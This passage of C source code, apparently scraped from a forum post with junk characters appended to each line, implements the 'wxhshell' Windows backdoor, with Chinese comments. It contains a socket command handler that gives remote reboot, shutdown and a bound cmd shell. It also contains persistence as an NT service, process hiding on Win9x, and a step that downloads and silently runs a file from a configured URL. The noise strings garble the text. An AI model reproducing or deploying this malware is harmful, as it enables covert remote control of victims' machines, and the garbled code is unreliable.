  case '?': { EZgxSQaPH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pf^Ly 97  
    break; O=4c eE mz  
  } *!wO:< -  
  // 安装 1{;[q3a  
  case 'i': { x"zjN'|  
    if(Install()) &r 5&6p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)eNx  
    else WF3DGqs_]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SNopAACf1  
    break; v e6N  
    } wfU&{7yt  
  // 卸载 4{Yy05PFS  
  case 'r': { Y;~~?[6  
    if(Uninstall()) P!>{>r4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I8pv:>EhC  
    else .f?qUg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L*SSv wSL  
    break; [F BCz>  
    } 5kRwSOG%'  
  // 显示 wxhshell 所在路径 ~%8Q75tn.  
  case 'p': { _k"&EW{ Ii  
    char svExeFile[MAX_PATH]; S4aHce5PXA  
    strcpy(svExeFile,"\n\r"); Bsih<`KF^  
      strcat(svExeFile,ExeFile); D-2v>l_  
        send(wsh,svExeFile,strlen(svExeFile),0); priT 7!  
    break; /I`bh  
    } ' Z(MV&  
  // 重启 Npf7p  
  case 'b': { %Mb( c+7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .5#tB*H  
    if(Boot(REBOOT)) |R &3/bEr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ=UBir  
    else { b0zxT9  
    closesocket(wsh); U||w6:W5  
    ExitThread(0); 7am/X.  
    } >TQBRA;'  
    break; GP7) m  
    } >TY5ZRB  
  // 关机 vS24;:f  
  case 'd': { cA (e "N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +|}K5q\  
    if(Boot(SHUTDOWN)) #<PA- y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NP<F==,  
    else { HIWmh4o/.  
    closesocket(wsh); zw%n!wc_\  
    ExitThread(0); #)h ~.D{  
    }  HN~v&,  
    break; bVAgul=__  
    } %t5BB$y  
  // 获取shell bCaPJ!ZO  
  case 's': { 4 HJZ^bq9|  
    CmdShell(wsh); +DbWMm  
    closesocket(wsh); kUaGok?  
    ExitThread(0); mC[U)` ey  
    break; 9Qs"X7iH  
  } yV+ E;  
  // 退出 HC;I0&v>  
  case 'x': { kT } '"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jhEg#Q$  
    CloseIt(wsh); Jq+$_Uqd  
    break; l3Bxi1k[C  
    } Rm\ '];  
  // 离开 5?~[|iPv  
  case 'q': { x[O#(^q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :z0>H5  
    closesocket(wsh); &8_#hne_  
    WSACleanup(); R{OE{8;  
    exit(1); ,w b|?>Y  
    break; fj t_9-.  
        } ^]lwd"$  
  } ,b.4uJg'  
  } ?od}~G4s#  
sG1]A:_<C  
  // 提示信息 ap$ tu3j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YaJ{"'}  
} x 1xj\O  
  } $qUta< o2@  
\gI:`>- x  
  return; &6^W% r  
} :2UC{_  
(P>eWw\0  
// shell模块句柄 o"ah\"#el  
int CmdShell(SOCKET sock) ~ Dp:j*H  
{ #G , *j  
STARTUPINFO si; `j!2uRFe>  
ZeroMemory(&si,sizeof(si)); >K|GLP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j_a~)o-p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 XOu~+7  
PROCESS_INFORMATION ProcessInfo; iZq@W3GL C  
char cmdline[]="cmd"; _l{ 5 'm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R;TEtu7  
  return 0; |gRgQGeB  
} -IE P?NX  
@<TfA>*VJ  
// 自身启动模式 tj^:SW.0  
int StartFromService(void) S_ -QvG2  
{ };|PFWs  
typedef struct 5 *pN<S  
{ G>ptwB81KM  
  DWORD ExitStatus; e9_O/iN  
  DWORD PebBaseAddress; &pY G   
  DWORD AffinityMask; u g:G9vjQ  
  DWORD BasePriority; i(f;'fb*  
  ULONG UniqueProcessId; 6[h$r/GXh"  
  ULONG InheritedFromUniqueProcessId; f~"V  
}   PROCESS_BASIC_INFORMATION; xE-c9AH  
GWqY$YT  
PROCNTQSIP NtQueryInformationProcess; =E~5&W7  
jme5'FR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3 cW"VrFy9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g\{! 21M  
:k )<1ua  
  HANDLE             hProcess; %1?V6&  
  PROCESS_BASIC_INFORMATION pbi; kdMS"iN8x  
|o=\9:wV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !>2\OSp!  
  if(NULL == hInst ) return 0; x^O2Lj,w\  
7@cvy? v{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qD%&\ZT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -b>O4_N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n `T[eb~  
NDa|.,  
  if (!NtQueryInformationProcess) return 0; HJ1\FO9\  
+$QL0|RL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '/Cz{<,  
  if(!hProcess) return 0; Ce'2lo  
+ZA\ M:^b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6BN(^y#-X  
kbT-Oz  2  
  CloseHandle(hProcess); pdha" EV  
OUk5c$M(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IZv, Wo  
if(hProcess==NULL) return 0; s>``- ]3  
= 4WZr  
HMODULE hMod; Nl<,rD+KSD  
char procName[255]; ^}7t:  
unsigned long cbNeeded; 7RFkHME  
IS 9q 5/]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p>tdJjnt  
;q&D,4r]  
  CloseHandle(hProcess); $F()`L{Tj  
9egaN_K  
if(strstr(procName,"services")) return 1; // 以服务启动 M@X#[w:  
|21hY  
  return 0; // 注册表启动 RowiSW  
} g7LW?Ewr  
,Ve@=<  
// 主模块 <$6'Mzf  
int StartWxhshell(LPSTR lpCmdLine) j"sO<Q{6%  
{ N5Mz=UgB  
  SOCKET wsl; JIKxY$GS  
BOOL val=TRUE; ZpctsCz]  
  int port=0; J'c9577$  
  struct sockaddr_in door; T_%]#M  
5 ^z ,'C  
  if(wscfg.ws_autoins) Install(); $(L7/M  
Hpg;?xAT  
port=atoi(lpCmdLine); 71&+dC  
gG;W:vR}l  
if(port<=0) port=wscfg.ws_port; to|9)\  
RZh)0S>J  
  WSADATA data; 4bzn^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4"(zi5`e  
9Zsb1 M!n>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8si^HEQ8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~[y+B0I3  
  door.sin_family = AF_INET;  de47O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ({nSs5)$  
  door.sin_port = htons(port); Od]xIk+E  
KmOa^vY1.T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xLK0~|_#!  
closesocket(wsl); 'R'a/ZR`B7  
return 1; 9:w,@Phe  
} TC{Qu;`H+U  
g2<S4  
  if(listen(wsl,2) == INVALID_SOCKET) { 3(*s|V"  
closesocket(wsl); .%Q Ea_\  
return 1; ,4W((OQ^  
} $[CA#AXE  
  Wxhshell(wsl); 5@%-=87S  
  WSACleanup(); 5m?$\h  
/(pChY>  
return 0; }/0dfes  
yZ0ZP  
} ~RAH -]  
2I 7`  
// 以NT服务方式启动 r+p jv_R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NT/B4'_@  
{ iX6jvnJ:/  
DWORD   status = 0; Q b{5*>  
  DWORD   specificError = 0xfffffff; 9,eR=M]+:  
g9Gy3zk=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r$Qh`[<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %{abRBny  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'k Z1&_{  
  serviceStatus.dwWin32ExitCode     = 0; ah9',((!  
  serviceStatus.dwServiceSpecificExitCode = 0; 9G/2^PI  
  serviceStatus.dwCheckPoint       = 0; DJ0T5VE W3  
  serviceStatus.dwWaitHint       = 0; \%Q rN+WQ  
*v/*_6f*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :]Qx T8B  
  if (hServiceStatusHandle==0) return; oa !P]r  
{=7i}xY]T  
status = GetLastError();  Bt3=/<.\  
  if (status!=NO_ERROR) |raQ]b@t&  
{ 82!GM.b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h18y?e7MU  
    serviceStatus.dwCheckPoint       = 0; Kp8T;&<Iay  
    serviceStatus.dwWaitHint       = 0; 2<@!m @  
    serviceStatus.dwWin32ExitCode     = status; @0'|Uygn  
    serviceStatus.dwServiceSpecificExitCode = specificError; _u2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j3HT"^[D  
    return; D07u?  
  } *S_Iza #&x  
y<d#sv(s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Asu"#sd  
  serviceStatus.dwCheckPoint       = 0; Lo9?,^S  
  serviceStatus.dwWaitHint       = 0; P< x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <U pjAuG8  
} }h6z&:qA[?  
Y g?{x@  
// 处理NT服务事件,比如:启动、停止 0Jh:6F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *=@pdQkR  
{ s9Z2EjQV  
switch(fdwControl) f"^tOgGH  
{ >;W(Jb7e  
case SERVICE_CONTROL_STOP: mDf WR  
  serviceStatus.dwWin32ExitCode = 0; ]t;5kj/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]bweQw@i  
  serviceStatus.dwCheckPoint   = 0; TeqsP1{?  
  serviceStatus.dwWaitHint     = 0; Q*(o;\s  
  { ? d\8Q't*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ntiz-qW  
  } jMbK7 1K%  
  return; g>zL{[e!  
case SERVICE_CONTROL_PAUSE: >K%x44|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =T$- #bA)  
  break; ]#n4A|&H  
case SERVICE_CONTROL_CONTINUE: NLY5L7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K_n%`5  
  break; 3vU (4}@  
case SERVICE_CONTROL_INTERROGATE: P$I\)Q H  
  break; =C)1NJx&~  
}; HCK4h DKo}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bp,CvQ'}a  
} EdpR| z  
qDAjW)w Jp  
// 标准应用程序主函数 T<)z2Bi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M7 !" t  
{ q|J]  
S &u94hlC  
// 获取操作系统版本 m.1BLN[9  
OsIsNt=GetOsVer(); i>2_hn_UR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g"Bv!9*H  
!d(V7`8  
  // 从命令行安装 d*L'`BBsp  
  if(strpbrk(lpCmdLine,"iI")) Install(); idy:Jei}  
y9)",G!  
  // 下载执行文件 ^ BKr0~4A  
if(wscfg.ws_downexe) { sN2l[Ous  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vE(Hy&Q&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dzr5qP?#  
} z, [ +  
{A UEVt  
if(!OsIsNt) { )K~nZLULY  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]mA?TwD  
HideProc(); Uw"   
StartWxhshell(lpCmdLine); Xk'.t|  
} :f;|^(]"  
else DAW%?(\,  
  if(StartFromService()) a0.XJR{T"  
  // 以服务方式启动 G\%hT5^  
  StartServiceCtrlDispatcher(DispatchTable); 4+Y5u4 `t  
else \.] U  
  // 普通方式启动 HrGX-6`  
  StartWxhshell(lpCmdLine); =Frr#t!(w0  
X)m2{@v D  
return 0; {'!~j!1'j  
}
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只看该作者 1 发表于: 2006-10-10
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